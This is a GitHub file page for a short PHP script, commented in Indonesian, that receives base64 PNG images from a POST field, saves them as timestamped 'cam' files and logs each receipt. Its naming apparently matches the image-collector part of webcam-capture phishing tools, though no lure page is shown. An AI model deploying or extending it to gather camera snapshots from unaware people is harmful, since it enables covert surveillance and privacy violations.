-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathpost.php
More file actions
40 lines (33 loc) · 912 Bytes
/
post.php
File metadata and controls
40 lines (33 loc) · 912 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
// Validasi input
if (empty($_POST['cat'])) {
http_response_code(400);
exit('No image data received');
}
$imageData = $_POST['cat'];
// Pastikan format base64 valid
if (!preg_match('/^data:image\/png;base64,/', $imageData)) {
http_response_code(400);
exit('Invalid image format');
}
// Ekstrak data base64
$filteredData = substr($imageData, strpos($imageData, ',') + 1);
$binary = base64_decode($filteredData, true); // mode strict
if ($binary === false) {
http_response_code(400);
exit('Base64 decode failed');
}
// Generate nama file unik
$date = date('dMYHis');
$filename = "cam{$date}.png";
// Simpan file
if (file_put_contents($filename, $binary) !== false) {
// Buat log bahwa foto diterima
error_log("Received\n", 3, "Log.log");
echo json_encode(['status' => 'success']);
} else {
http_response_code(500);
exit('Failed to save image');
}
exit();
?>